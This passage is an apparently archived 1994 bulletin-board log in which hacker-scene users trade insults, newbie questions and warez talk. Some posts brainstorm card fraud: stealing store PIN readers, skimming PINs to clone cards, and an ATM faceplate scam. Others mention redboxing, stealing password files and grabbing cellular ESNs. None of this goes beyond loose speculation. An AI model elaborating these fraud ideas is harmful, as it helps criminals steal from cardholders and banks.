As for the account, have fun finding a total anonymous account to read
|
|
mail, news, and ftp/telnet to...find a sysadmin or system that will create
|
|
one for you. Or just be 3l33t and hack one.
|
|
|
|
Cosmos
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|
From cosmos@yabbs Sun Mar 27 18:44:48 1994
|
|
From: cosmos@yabbs
|
|
To: buzzbomb@yabbs
|
|
Subject: re: IIRG and TRSI
|
|
Date: Sun Mar 27 18:44:48 1994
|
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|
Spell my name right fuckface. You want an attitude, Ill give it to you.
|
|
But I give you credit for the sysop poser part...100% true.
|
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|
GIve me c0d3z d00d
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|
Cosmos ---> 3l33t \/\/aR3Z d00d
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|
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From uufnord@yabbs Mon Mar 28 00:24:06 1994
|
|
From: uufnord@yabbs
|
|
To: all@yabbs
|
|
Subject: newbie question
|
|
Date: Mon Mar 28 00:24:06 1994
|
|
|
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|
|
How do I post a message on yabbs?
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|
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From robtelee@yabbs Mon Mar 28 00:50:23 1994
|
|
From: robtelee@yabbs
|
|
To: uufnord@yabbs
|
|
Subject: newbie question
|
|
Date: Mon Mar 28 00:50:23 1994
|
|
|
|
You just did...all of us were newbies at one time...
|
|
|
|
From Skywise@yabbs Mon Mar 28 02:01:17 1994
|
|
From: Skywise@yabbs
|
|
To: robtelee@yabbs
|
|
Subject: re: newbie question
|
|
Date: Mon Mar 28 02:01:17 1994
|
|
|
|
NOT TRUE! I was NEVER a newbie! Right COSMO? hehehe
|
|
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|
From cosmos@yabbs Mon Mar 28 05:15:13 1994
|
|
From: cosmos@yabbs
|
|
To: Skywise@yabbs
|
|
Subject: re: newbie question
|
|
Date: Mon Mar 28 05:15:13 1994
|
|
|
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|
|
Right fucknut. Now spell my goddamn name right lamer.
|
|
|
|
Cosmos
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|
|
|
From Bingley@yabbs Mon Mar 28 06:04:10 1994
|
|
From: Bingley@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: Cosmas newbie?
|
|
Date: Mon Mar 28 06:04:10 1994
|
|
|
|
I wonder if everyone was an ass towards you when you were a newbie Cosmo.
|
|
Perhaps that is why you are so bitter today.
|
|
|
|
Keep on being eleet, c0zm0z
|
|
|
|
From NStalker@yabbs Mon Mar 28 06:05:53 1994
|
|
From: NStalker@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: 815
|
|
Date: Mon Mar 28 06:05:53 1994
|
|
|
|
815 is Rockford, and Crystal Lake where I'm from...and 708 is 2 mins
|
|
away... And yeah, I think I am going to go PGP soon. As soon as I get the
|
|
Unix one (already have DOS) Ya think there'll be any problems using my
|
|
same key in both OS's? Now that I thought about it,
|
|
no...stupid. :)
|
|
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|
From cosmos@yabbs Mon Mar 28 06:50:32 1994
|
|
From: cosmos@yabbs
|
|
To: Bingley@yabbs
|
|
Subject: re: Cosmas newbie?
|
|
Date: Mon Mar 28 06:50:32 1994
|
|
|
|
Nahhh...never...I was never new.
|
|
|
|
Ever heard of sarcasm my little fork tounged friend??
|
|
|
|
Cosmos
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|
|
|
From cosmos@yabbs Mon Mar 28 06:51:43 1994
|
|
From: cosmos@yabbs
|
|
To: NStalker@yabbs
|
|
Subject: re: 815
|
|
Date: Mon Mar 28 06:51:43 1994
|
|
|
|
heheheh...Crystal Lake....
|
|
|
|
Ahh the burbs.
|
|
|
|
Cosmos
|
|
|
|
From cosmos@yabbs Mon Mar 28 11:56:48 1994
|
|
From: cosmos@yabbs
|
|
To: all@yabbs
|
|
Subject: Can it get any lamer than t
|
|
Date: Mon Mar 28 11:56:48 1994
|
|
|
|
|
|
The lamest excuse for a newsgroup has got to be alt.2600...
|
|
|
|
The shit posted there is at best mildly amusing. In fact, wading through
|
|
the majority of AOL, DELPHI, and CompuServe morons that post there makes
|
|
this place here qualify as an 3l33t board. ;)
|
|
|
|
My favorite post today was "Hey dudes, has anyone ever tried the 8lgm
|
|
stuff??" <--- proof that cro-magnon man still exists.
|
|
|
|
Cosmos
|
|
|
|
From dmonger@yabbs Mon Mar 28 13:36:14 1994
|
|
From: dmonger@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: newbie question
|
|
Date: Mon Mar 28 13:36:14 1994
|
|
|
|
osmos also works :)
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|
-peter
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From feotus@yabbs Mon Mar 28 14:08:12 1994
|
|
From: feotus@yabbs
|
|
To: all@yabbs
|
|
Subject: sum
|
|
Date: Mon Mar 28 14:08:12 1994
|
|
|
|
hehe, the 8LeggedRooveMachine stuff is just so up to date and I am so
|
|
surprised that they were nmot shot for putting it out man. Gee alt.2600
|
|
has all the greatest AOL hackers you'll ever find. I bet they could even
|
|
get you Frogger pirated if you really wanted it. We all knoiw that all
|
|
the really truly great hackers hang on AOL as an undercover account. Yeah
|
|
that's the ticket.
|
|
|
|
but not-so-seriously, how many lame posts have you seen in alt.cyberpunk
|
|
alt.2600 (insert supposedly cool newsgroup here) from some AOL dick who
|
|
just figured out their newsnet shit? I count at least a bazzilion in the
|
|
last three minutes.
|
|
|
|
|
|
on another note.
|
|
|
|
Any substantiation to the rumor that anon.penet.fi is sniffed and
|
|
decrypted? I dont hink they can break a 1024bit RSA key in less than a
|
|
couple years right now, so i dont believe the decryptian part, unless the
|
|
found a whole in IDEA, which I doubt.
|
|
|
|
my question is how many people reading this newsgroup have actually done
|
|
something original besides just eploit some overused and overdeveloped
|
|
whole that someone told them about? Any original people here? And by
|
|
original I mean doing something besides just running Crack? How about
|
|
other projects?
|
|
|
|
From Hellion@yabbs Mon Mar 28 15:14:27 1994
|
|
From: Hellion@yabbs
|
|
To: arachnoi@yabbs
|
|
Subject: re: IIRG and TRSI
|
|
Date: Mon Mar 28 15:14:27 1994
|
|
|
|
Hey, could you E-mail me that? I have no idea how to get any of these messages
|
|
off the bbs here *without a screen capture which I don't have on this machine
|
|
that I am on. Ugggh....
|
|
|
|
Mail me at : sad8390@nebrwesleyan.edu
|
|
thanx. If anyone knows how to save these let me know.
|
|
|
|
-- Hellion
|
|
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|
From Hellion@yabbs Mon Mar 28 19:53:27 1994
|
|
From: Hellion@yabbs
|
|
To: NStalker@yabbs
|
|
Subject: re: anon unix or at least mail
|
|
Date: Mon Mar 28 19:53:27 1994
|
|
|
|
Someone said that :
|
|
> at cybernet.cse.fua.edu I believe it is there is a BBS that will allow you
|
|
|
|
I tried to telnet there, but I get an unknown host, any ideas on the ip number?
|
|
|
|
-- Hellion
|
|
|
|
From NStalker@yabbs Mon Mar 28 21:23:21 1994
|
|
From: NStalker@yabbs
|
|
To: Hellion@yabbs
|
|
Subject: re: anon unix or at least mail
|
|
Date: Mon Mar 28 21:23:21 1994
|
|
|
|
Yeah, that address was a typo...I found it to really be
|
|
cybernet.cse.fau.edu, notice fau not fua. They want ya to send an id in
|
|
before you can send mail out anyway. but I think you can read mail send TO
|
|
you though. But launchpad does that anyway, and that's my newsreader.
|
|
|
|
Feotus: I think I got a pirated copy of frogger in one of my disk
|
|
boxes...want a copy? *grin*
|
|
|
|
NightStalker
|
|
|
|
From Hellion@yabbs Mon Mar 28 21:31:37 1994
|
|
From: Hellion@yabbs
|
|
To: NStalker@yabbs
|
|
Subject: launchpad
|
|
Date: Mon Mar 28 21:31:37 1994
|
|
|
|
Okay, this may sound stupid, but I am just now getting the courage to use some
|
|
of this stuff, so here goes...
|
|
|
|
Just how do you get onto launchpad? I don't even know the telnet
|
|
address. I must say to you all, though, that this has been the kindest
|
|
enviroment for me to learn new stuff in. *wipes brown off nose* anyhow, just
|
|
give me a break for being a newbie at this...
|
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|
-- Hellion
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From rieza@yabbs Tue Mar 29 02:10:32 1994
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From: rieza@yabbs
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To: all@yabbs
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Subject: bow1.txt & bow2.txt
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Date: Tue Mar 29 02:10:32 1994
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where can i get bow1.txt & bow2.txt ?
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From TheDev@yabbs Tue Mar 29 03:07:57 1994
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From: TheDev@yabbs
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To: cosmos@yabbs
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Subject: re: newbie question
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Date: Tue Mar 29 03:07:57 1994
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:Right fuknut. Now spell my goddamn name right lamer.
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:
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:Cosmos
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haha fuknut, that's a new one
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The Dev
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From Dauber@yabbs Tue Mar 29 15:43:20 1994
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From: Dauber@yabbs
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To: uufnord@yabbs
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Subject: re: newbie question
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Date: Tue Mar 29 15:43:20 1994
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> "How do I post a message on yabbs?"
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Uhh....pardon me for asking this, but....
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How the hell did you post that one??
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THAT's how you post a message on YABBS!!
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I didn't read the thread all the way thru--I was gonna scold you NO MATTER
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WHO AND HOW MANY DID!!!!
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From NStalker@yabbs Wed Mar 30 01:06:08 1994
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From: NStalker@yabbs
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To: hellion@yabbs
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Subject: launchpad
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Date: Wed Mar 30 01:06:08 1994
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Just telnet to launchpad.unc.edu, and enter launch as the login:
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then It'll ask you for your name, and you can give it anything you want,
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'cause they don't check, and they don't ask anything else. er, there might
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be a place where you have to type new...but It'll tell you.
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From Lacey@yabbs Wed Mar 30 03:54:05 1994
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From: Lacey@yabbs
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To: Dauber@yabbs
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Subject: re: newbie question
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Date: Wed Mar 30 03:54:05 1994
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Let's try to be a little nicer. I'm sure that person didn't mean to
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ask a question that you have termed stupid. Give the kid a break.
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It takes a real ignorant asshole to say things like that even if you are
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just joking. Get a grip and cut the newbies some slack.
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From cosmos@yabbs Wed Mar 30 05:49:03 1994
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From: cosmos@yabbs
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To: Dauber@yabbs
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Subject: re: newbie question
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Date: Wed Mar 30 05:49:03 1994
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Hey, that's my job! ;)
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Cosmos
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From cosmos@yabbs Wed Mar 30 05:50:16 1994
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From: cosmos@yabbs
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To: Lacey@yabbs
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Subject: re: newbie question
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Date: Wed Mar 30 05:50:16 1994
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Oh come off it, the lame shit that posted it deserved a hell of alot more
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than that simple ribbing. If you cant take a flame, go to the poetry
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base.
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Cosmos
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From Lacey@yabbs Wed Mar 30 06:59:58 1994
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From: Lacey@yabbs
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To: cosmos@yabbs
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Subject: re: newbie question
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Date: Wed Mar 30 06:59:58 1994
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I'm glad to know what a closed mined person you are. Remember you were
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a newbie once too.
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Lacey
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From cosmos@yabbs Wed Mar 30 08:25:28 1994
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From: cosmos@yabbs
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To: Lacey@yabbs
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Subject: re: newbie question
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Date: Wed Mar 30 08:25:28 1994
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No I wasnt.
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Cosmos
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From dmonger@yabbs Wed Mar 30 12:13:33 1994
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From: dmonger@yabbs
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To: cosmos@yabbs
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Subject: re: newbie question
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Date: Wed Mar 30 12:13:33 1994
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your job ... okay ... sure
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i think you're idea that everyone deserves to be flamed is rather absurd.
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but then again that could be me
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-peter
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who forgot that oswald was born sitting in front of a computer
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From Skywise@yabbs Wed Mar 30 18:34:58 1994
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From: Skywise@yabbs
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To: cosmos@yabbs
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Subject: re: newbie question
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Date: Wed Mar 30 18:34:58 1994
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POETRY BASE! POETRY BASE! Don't use it as an insult
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_COSMO_
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bwahahahaha
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(btw you should have flamed the hell out of that punk's lameness.)
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From cosmos@yabbs Wed Mar 30 19:26:32 1994
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From: cosmos@yabbs
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To: Skywise@yabbs
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Subject: re: newbie question
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Date: Wed Mar 30 19:26:32 1994
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IS it because of Sneakers that you guys insist on caling me COSMO??? No,
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no, no. It's COSMOS, it means something. At least it used to...
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As for flaming, I must have took my midol that morning...
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Cosmos
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From feotus@yabbs Wed Mar 30 20:48:26 1994
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From: feotus@yabbs
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To: cosmos@yabbs
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Subject: you big dummy
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Date: Wed Mar 30 20:48:26 1994
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gosh your so mean and bad
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i hate you
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im going to go tell my mom on you
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why dont you just, just, just go play asteroids
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im cool cause i play Shadowrun, that's where I learned how to hack
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im just the k-raddicaest
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hehehe, sarcasm man strikes again 8)
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wow, im pretty good at flame bait cosmo, hehe oops comsos
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dont you all just hate the formatting of this message
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it says I havea 99 line limit, and by god I'll use it, I SWEAR I WILL
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now now boys, don't hit n
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For those of you who have stayed tune this long congrats, your dum
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no but not so seriously, anyone know a good stream cypher? Me and some
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pals are gonna work on installing encryptian in a client server model ofr
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a little site we have so we are looking for a good stream cypher. DONT
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say RSA, sicne RSA is too slow and it's not a stream cyper anyways, it's
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block. And DONT sat DES, cause that's a block, actually PRODUCT, cypher,
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so haha again. We have a relatively secure one already, but all the other
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ones we found are either copyrighted or licensed so that it would be
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deleterious for us to use it, so we need our own.
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Also on another note, anyone know about what happened to penet?
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OOOPS, why the hell am I asking these questions on this lame echo, YUP,
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this has GOT to bea FIDO net echo cause those are the only ones capable of
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getting this primo LAME. Gosh, most of the times it's flame wars, and not
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even tasty ones at that. DOES ANYONE KNOW **ANYTHING** ABOUT
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HACKING/PHREAKING/CELLULAR
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FRAUD/VIRII/CRYPTOGRAPHY/CODING/CRACKING/PROGRAMMING
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From Kittycat@yabbs Thu Mar 31 01:19:15 1994
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From: Kittycat@yabbs
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To: cosmos@yabbs
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Subject: fLAM3R
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Date: Thu Mar 31 01:19:15 1994
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Cosmo you just don't know how to relate to poeple. Why can't you say
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something nice....ever?
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As for your perpetual flaming, use Preparation H coz. It releaves the itch
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and swelling that I'm sure you must have. Either that or there is a
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thistle rammed up your rear end.
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From lol@yabbs Thu Mar 31 01:56:14 1994
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From: lol@yabbs
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To: all@yabbs
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Subject: hack/pirate ftp?
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Date: Thu Mar 31 01:56:14 1994
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Salutations,
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Im pretty new to yabbs... but its pretty cool anyway.
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I wondered if any of ya know of a nice pirate/hack/anarchy
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ftp site?!?!? Living in a country where the word BBS
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is looked up in the dictionary is IMPOSSIBLE to find
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a pirate/hack/anarchy bbs... so the net is my ONLY way.
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Tnx in adv.
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Prometheus
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From lol@yabbs Thu Mar 31 02:07:00 1994
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From: lol@yabbs
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To: all@yabbs
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Subject: ZMODEM!!
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Date: Thu Mar 31 02:07:00 1994
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rz
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**B00000000000000
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From Elaking@yabbs Thu Mar 31 04:30:56 1994
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From: Elaking@yabbs
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To: all@yabbs
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Subject: a bit seriousness
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Date: Thu Mar 31 04:30:56 1994
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[Things are like this... i'm writing this short essay on hacking and
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anarchism on the internet... I would very much appreciate if i could have
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an IRC interview or if any of U guys who know a shit (that is NO lamers)
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could post me something of interest, like cool e-zines (heavier than
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LOD, Phrack and those mother-in-law-formatted ones) and where to get a
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hold of them. I can be reached either here, or at:
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psys240@pcpost.hoe.se
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thnx alot
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\\\\Elaking
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From cosmos@yabbs Thu Mar 31 05:39:45 1994
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From: cosmos@yabbs
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To: Kittycat@yabbs
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Subject: re: fLAM3R
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Date: Thu Mar 31 05:39:45 1994
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Czesc kicia....
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;)
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Cosmos
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From Skywise@yabbs Thu Mar 31 08:47:33 1994
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From: Skywise@yabbs
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To: cosmos@yabbs
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Subject: re: newbie question
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Date: Thu Mar 31 08:47:33 1994
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Cosmo, did you get your name from the Jetsons? *grin*
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just kidding Cosmos, you telco database, you! ;)
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From htoaster@yabbs Thu Mar 31 10:04:44 1994
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From: htoaster@yabbs
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To: lol@yabbs
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Subject: re: hack/pirate ftp?
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Date: Thu Mar 31 10:04:44 1994
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In message hack/pirate ftp?, lol said:
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> Im pretty new to yabbs... but its pretty cool anyway.
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> I wondered if any of ya know of a nice pirate/hack/anarchy
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> ftp site?!?!? Living in a country where the word BBS
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> is looked up in the dictionary is IMPOSSIBLE to find
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> a pirate/hack/anarchy bbs... so the net is my ONLY way.
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Well, there is stuff out there, but since it is illegal people aren't going
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to just out an tell you about the sites (and also, I will censor mail on yabbs
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that contains information on pirate ftp sites, because it can make this system
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look suspicous as well). If your interested in talking about hacking, etc,
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this system is about as close as your going to get to being a public h/p/a
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type system on the net.
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There is also irc, which is a chat system, which always has a channel called
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#hack. To get onto it you need to use a client, which you can ftp from
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csd.bu.edu (I think).
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alex
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From lol@yabbs Thu Mar 31 16:33:53 1994
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From: lol@yabbs
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To: all@yabbs
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Subject: h/p/a ftp site
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Date: Thu Mar 31 16:33:53 1994
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Thanx a lot for those who helped, arachnoi and htoaster.
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my main prob is that it's very hard for me to
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compile anything on this box since the root
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messes things up with the link libs and such.
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I wonder if anyone has an already compiled
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version of the irc client for sunos 4.1.3 or
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something close.
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Thanks again.
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lol
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From JasonLee@yabbs Fri Apr 1 02:32:30 1994
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From: JasonLee@yabbs
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To: feotus@yabbs
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Subject: re: you big dummy
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Date: Fri Apr 1 02:32:30 1994
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feotus said:
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DOES ANYONE KNOW **ANYTHING** ABOUT HACKING/PHREAKING/CELLULAR
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FRAUD/VIRII/CRYPTOGRAPHY/CODING/CRACKING/PROGRAMMING
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+++++++++++++++++++++++++++++++++++++++++++++++++++++
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Nope. Don't think so. Not here.
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JasonLee
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From cosmos@yabbs Fri Apr 1 05:32:35 1994
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From: cosmos@yabbs
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To: JasonLee@yabbs
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Subject: re: you big dummy
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Date: Fri Apr 1 05:32:35 1994
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You forgot to mention 0-3 day \/\/aR3Z....
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Cosmos
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From Skywise@yabbs Fri Apr 1 06:16:47 1994
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From: Skywise@yabbs
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To: JasonLee@yabbs
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Subject: re: you big dummy
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Date: Fri Apr 1 06:16:47 1994
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I know a little bit of BASIC. What do you need help with?
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.s
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\s
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.q
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hey
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From cosmos@yabbs Fri Apr 1 14:42:11 1994
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From: cosmos@yabbs
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To: Skywise@yabbs
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Subject: re: you big dummy
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Date: Fri Apr 1 14:42:11 1994
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10 REM *** 3l33T BASIC PROGRAM ***
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20 ? "INTEL SUCKS!"
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30 GOTO 20
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Cosmos
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From Jeremiah@yabbs Fri Apr 1 17:37:19 1994
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From: Jeremiah@yabbs
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To: all@yabbs
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Subject: A proggier...
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Date: Fri Apr 1 17:37:19 1994
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This may sound like an odd request, but does anyone know of a UNIX
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emulator that will run on a dos machine? If one exists, where might I be
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able to get ahold of it...?
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From cosmos@yabbs Fri Apr 1 21:34:21 1994
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From: cosmos@yabbs
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To: Jeremiah@yabbs
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Subject: re: A proggier...
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Date: Fri Apr 1 21:34:21 1994
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1) Get rid of DOS.
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2) Get rid of Windoze.
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3) FTP netBSD (ask Htoaster for the specific site)
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4) Install and go.
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Or you can run linsux....but I wouldnt be caught dead with it myself.
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Cosmos
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From uufnord@yabbs Sat Apr 2 00:07:09 1994
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From: uufnord@yabbs
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To: Lacey@yabbs
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Subject: re: newbie question
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Date: Sat Apr 2 00:07:09 1994
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I wonder if I was being sarcastic when I asked; but that's so unlike me.
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From feotus@yabbs Sun Apr 3 15:01:33 1994
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From: feotus@yabbs
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To: all@yabbs
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Subject: ohmygosh
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Date: Sun Apr 3 15:01:33 1994
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wow, i guess noone knows anything at all.
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just for a reminder I asked if anyone knew anything about h/p/c/v etc...
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at all, or if this is just one of the bases where everyone talks about
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everything BUT h/p/c/v etc...
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fuckin funny as hell really
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does anyone besides Cosmos, and Fastjack know what an ESS is?
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lord help us all.
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has anyone besides aformentioned couple, ever done anything besides
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REDBOX
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Steal passwd files
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Run Crack or crackerjack etc..
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Do fakemail
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program in a language OTHER than Basic or derivatives thereof
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i didnt think so. Oh well.
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NOW for those who have done other things.......
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me and some people are aquiring cell phones soon. We have the eprom
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burner etc... I was wondering what one could do with one of the roadside
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distress phones you see on some hiways. I believe they run cell so maybe
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steal info from them and run that etc...?
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also, with the new card checkers in some stores, where the customer runs
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trheir card thru a small machine slot and then punches in PIN. Now I
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looked at these before while noone was paying attention it appears that
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they are all networked to a central machine inthe store. Apperantly this
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is the one making the call out. What I was wundering is just what could
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we do with one of these if stolen considering thatthey are easily
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snatchable. Maybe use it for checks, but then I figured that all the
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dialing and merchant number info for hte credit service would be on the
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main server for all of them in the store. Hmmmmm. Must be something of
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consequence.
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From JasonLee@yabbs Sun Apr 3 15:35:37 1994
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From: JasonLee@yabbs
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To: feotus@yabbs
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Subject: re: ohmygosh
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Date: Sun Apr 3 15:35:37 1994
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feotus said:
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program in a language OTHER than Basic or derivatives thereof
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+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
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How about Logo? ;)
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No, I can program in C a bit...
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I doubt you could really do much with the supermarket machine. If you
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were going to fake calls out to the bank network, then you could really
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only buy groceries. I guess you could somehow snag PINs off it, but
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without a card to go along with it, you wouldn't be able to do much.
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Actually, if you have access to a magnetic strip writer, you might be able
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to steal the PIN and any other info off the card as the info is being sent
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out and then encode your own card. Would that work, cuz I'm not quite
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sure I know what I'm talking about?
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JasonLee
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From cosmos@yabbs Sun Apr 3 15:58:09 1994
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From: cosmos@yabbs
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To: feotus@yabbs
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Subject: re: ohmygosh
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Date: Sun Apr 3 15:58:09 1994
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Feotus,
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Thank you for your charming little rant. Please return to alt.2600 with
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the rest of the Delphi and AOL morons. Thank you.
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Cosmos
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From Skywise@yabbs Sun Apr 3 19:23:57 1994
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From: Skywise@yabbs
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To: feotus@yabbs
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Subject: re: ohmygosh
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Date: Sun Apr 3 19:23:57 1994
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You IDIOT!!! How did you even get on this bbs? I thought they had
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implemented a tighter security system...
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ESS is an acronym for Electronic Sewage System
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It is the absolute latest in waste disposal technology and comes your way
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directly from a research lab hidden in the wilds of upper Canada. I'm
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sorry I can't tell you more about it... CLASSIFIED you know...
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From washbord@yabbs Sun Apr 3 20:28:00 1994
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From: washbord@yabbs
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To: all@yabbs
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Subject: carding...
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Date: Sun Apr 3 20:28:00 1994
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Did you see that CNN report a couple of months ago where carders put a
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fake faceplate on bank machines which snatched customers reciepts. At the
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same time they had a camera in a van recording the PIn number the customer
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s typed in. Later they got the receipts, made fake cards and used the
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PINs. That's why you may have noticed banks posting signs reminding
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customers to keep their bank mach. recpts.
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Of course they got caught, althouhg they did snag close to $100K.
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If you're not going to be pulling in a couple mil. I would not recommend
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card scams.
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From Angstrom@yabbs Sun Apr 3 20:35:24 1994
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From: Angstrom@yabbs
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To: all@yabbs
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Subject: bbs...
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Date: Sun Apr 3 20:35:24 1994
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Don't suppose anyone knows what UXU stands for?...no answer expected
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from Cosmos ;)...I was asked it (along with ESS) when I logged onto a
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Internet (bbs)/bbs....
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From Offe@yabbs Mon Apr 4 09:58:36 1994
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From: Offe@yabbs
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To: Angstrom@yabbs
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Subject: re: bbs...
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Date: Mon Apr 4 09:58:36 1994
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In message bbs..., Angstrom said:
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> Don't suppose anyone knows what UXU stands for?...no answer expected
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> from Cosmos ;)...I was asked it (along with ESS) when I logged onto a
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> Internet (bbs)/bbs....
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UXU stands for Underground eXperts United. Check ftp.lysator.liu.se:/pub/doc/uxu
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for further info.
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-Offe
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From Fastjack@yabbs Mon Apr 4 11:45:47 1994
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From: Fastjack@yabbs
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To: feotus@yabbs
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Subject: re: ohmygosh
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Date: Mon Apr 4 11:45:47 1994
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yIn message ohmygosh, feotus said:
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> wow, i guess noone knows anything at all.
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>
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> just for a reminder I asked if anyone knew anything about h/p/c/v etc...
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> at all, or if this is just one of the bases where everyone talks about
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> everything BUT h/p/c/v etc...
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>
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> fuckin funny as hell really
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>
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>
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> does anyone besides Cosmos, and Fastjack know what an ESS is?
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Just give'm your redbox plans and they'll be happy. I refuse to
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participate in an activity that a bunch of morons are going to get caught
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(and publicized) doing...
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>
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> has anyone besides aformentioned couple, ever done anything besides
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> REDBOX
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> Steal passwd files
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> Run Crack or crackerjack etc..
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> Do fakemail
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> program in a language OTHER than Basic or derivatives thereof
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>
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HEHEHE. Half the 'crackers' just run around with borrowed accounts,
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running scripts they got off usenet, that someone with some knowledge wrote
|
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and distributed in an effort to close these kinds of holes that allow
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nimrods to go root on School X's/Bank X's/Biz X's machine(s). That gives
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those who consider themselves true hackers a bad name. Half would
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have a problem with Crack, as user friendly as Alex made it...
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>
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> i didnt think so. Oh well.
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>
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>
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> NOW for those who have done other things.......
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>
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> me and some people are aquiring cell phones soon. We have the eprom
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> burner etc... I was wondering what one could do with one of the roadside
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> distress phones you see on some hiways. I believe they run cell so maybe
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> steal info from them and run that etc...?
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>
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This was done in Californey a while back. They *CLAIM* it can't be
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done again, but I doubt they did much of anything. All you need is this
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little box, see, and it gets you ESNs, see, and it's called a....
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oh, but I talk too much already.
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FJ
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From feotus@yabbs Mon Apr 4 12:53:17 1994
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From: feotus@yabbs
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To: cosmos@yabbs
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Subject: re: ohmygosh
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Date: Mon Apr 4 12:53:17 1994
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but dear, i have never been to alt.2600 is it lovely this time of year?
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AOL. aaaaarrrrrggggggghhhhhhhhhhhhhhhhh that's the knife that went thru
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my heart GASH Im dying Im dying
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real hackers read alt.cyberpunk harhar
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From cosmos@yabbs Mon Apr 4 14:01:09 1994
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From: cosmos@yabbs
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To: Fastjack@yabbs
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Subject: re: ohmygosh
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Date: Mon Apr 4 14:01:09 1994
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FJ,
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Nice shot. ;) But all the K3wL 3l33t HacK3rZ got caught....I want to be
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just like Mark Abene when I grow up...
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Cosmos
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From hawkwind@yabbs Mon Apr 4 14:50:35 1994
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From: hawkwind@yabbs
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To: all@yabbs
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Subject: IIRG and TRSI
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Date: Mon Apr 4 14:50:35 1994
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Thanx for the help...me thinks when they ask about warez kiddie groups
|
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(TRSI) they're wasting my time...*heck* I'm STILL waiting to be
|
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validated... *twidling of thumbs*
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IIRG = Internation Information Retrieval Guild (some H/P board in
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St8s)
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|
TRSI is that warez group Tri *whatever*
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So Cosmos, how's it going today?
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|
(Don't let that ole high horse of yours die! ;-) )
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L8rs,
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Hawk.
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From Fastjack@yabbs Mon Apr 4 19:25:42 1994
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From: Fastjack@yabbs
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To: cosmos@yabbs
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Subject: re: ohmygosh
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Date: Mon Apr 4 19:25:42 1994
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In message re: ohmygosh, cosmos said:
|
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> Nice shot. ;) But all the K3wL 3l33t HacK3rZ got caught....I want to be
|
|
> just like Mark Abene when I grow up...
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|
Yeah, I mean, maybe the guy knows more than your average cracker,
|
|
but he still *got caught*. He's in _Wired_ and _Scientific American_ in one
|
|
month, fergoshsakes...
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|
FJ
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From promethe@yabbs Thu Apr 7 03:07:47 1994
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From: promethe@yabbs
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To: all@yabbs
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|
Subject: #hack on irc! (yuck)
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|
Date: Thu Apr 7 03:07:47 1994
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|
Salutations,
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|
after LONG hard work to compile irc on a system
|
|
that has been very badly configured I connect to
|
|
the #hack room on some irc. What I get is a bunch
|
|
of insults just because I want to learn. Most
|
|
of the ppl on there are worthless ppl who think
|
|
are the best thing since Queen Elizabeth.
|
|
|
|
Don't hackers also think that sometime in their
|
|
lives they didnt know not even half as much as
|
|
they know now? com'on guys, remember that person
|
|
that helped you to begin your hacking life?
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|
|
|
Wouldnt you like to give bak some of the
|
|
knowledge you have so someone else might get
|
|
a kickstart?
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|
|
|
anyway, i wish i had something more to say but
|
|
i'm just to sleepy to continue.
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|
|
good nite,
|
|
prometheus
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|
.
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From dialtone@yabbs Thu Apr 7 05:17:34 1994
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|
From: dialtone@yabbs
|
|
To: all@yabbs
|
|
Subject: Operation Sundevil
|
|
Date: Thu Apr 7 05:17:34 1994
|
|
|
|
It may be completely old junk... But does anyone have and captured net
|
|
msg's from the sundevil bust .. or know of a site to come by them..?
|
|
(I'm just looking for the other names from some of the less metioned
|
|
states)
|
|
Greets.....Cosmos
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From cosmos@yabbs Thu Apr 7 06:43:33 1994
|
|
From: cosmos@yabbs
|
|
To: promethe@yabbs
|
|
Subject: re: #hack on irc! (yuck)
|
|
Date: Thu Apr 7 06:43:33 1994
|
|
|
|
|
|
Well, I pity the fool that thinks he is going to get any info from #hack
|
|
on the IRC....
|
|
|
|
Why dont you pick up some text and learn something for yourself, did that
|
|
thought ever cross your mind??
|
|
|
|
Cosmos
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|
|
|
From uufnord@yabbs Thu Apr 7 06:50:00 1994
|
|
From: uufnord@yabbs
|
|
To: all@yabbs
|
|
Subject: that never crossed my mind
|
|
Date: Thu Apr 7 06:50:00 1994
|
|
|
|
|
|
Wow. I'm totally stinking crazy. That's neat.
|
|
|
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|
|
From promethe@yabbs Thu Apr 7 19:34:00 1994
|
|
From: promethe@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: #hack on irc! (yuck)
|
|
Date: Thu Apr 7 19:34:00 1994
|
|
|
|
Salutations,
|
|
|
|
well, that's what ppl here recommended me to do...
|
|
anyway... what type of texts are you referring to?
|
|
|
|
RFCs? man pages? what? old phrack files? (grin)
|
|
well, i've read tons of RFCs and man pages and
|
|
books and whatever... but the best thing for
|
|
some beginner like me would be to get some
|
|
nice help from someone that is knowledgeable.
|
|
|
|
I believe that is hacker culture is being destroyed
|
|
not by feds or any such thing but by old hackers.
|
|
|
|
profound love,
|
|
prometheus
|
|
|
|
From cosmos@yabbs Thu Apr 7 20:46:23 1994
|
|
From: cosmos@yabbs
|
|
To: promethe@yabbs
|
|
Subject: re: #hack on irc! (yuck)
|
|
Date: Thu Apr 7 20:46:23 1994
|
|
|
|
|
|
Sigh....
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|
|
|
The best thing you can do IS READ all the stuff you mentioned...you dont
|
|
need a babysitter holding your hand every step of the way. Hacker
|
|
culture?? If that isnt an oxymoron I dont know what is. Blah.
|
|
|
|
Learn C, UNIX and get a good job. Dont waste your time trying to become a
|
|
culture...
|
|
|
|
Cosmos
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|
|
|
From promethe@yabbs Fri Apr 8 02:45:23 1994
|
|
From: promethe@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: #hack on irc! (yuck)
|
|
Date: Fri Apr 8 02:45:23 1994
|
|
|
|
Salutations,
|
|
|
|
I guess you are too inteligent to help someone
|
|
else... but really who cares?
|
|
|
|
If you don't want to help don't!! Just stop messing
|
|
with things that you don't know... instead of
|
|
trying to teach me to hack or not... try to
|
|
be someone that someone would like to talk
|
|
with.
|
|
|
|
btw, i WOULDN't be here AT ALL if I didn't hack...
|
|
so it's not something that I just like doing since
|
|
I got nothing else to do! I believe it's not
|
|
me that needs a babysitter but someone else.
|
|
|
|
now I understand why nobody calls you by
|
|
your complete name... why bother?
|
|
|
|
thoughtfully,
|
|
void *(*(*prometheus(int argv, char argc)) (HYPER int *HACK!))
|
|
PS: if there is someone that would like
|
|
some beginner please email me... there has
|
|
to be ppl that arent like cos. (yeah cos)
|
|
|
|
From cosmos@yabbs Fri Apr 8 05:42:31 1994
|
|
From: cosmos@yabbs
|
|
To: promethe@yabbs
|
|
Subject: re: #hack on irc! (yuck)
|
|
Date: Fri Apr 8 05:42:31 1994
|
|
|
|
|
|
Heheh..cos I like. In fact, I use it sometimes myself. ;)
|
|
|
|
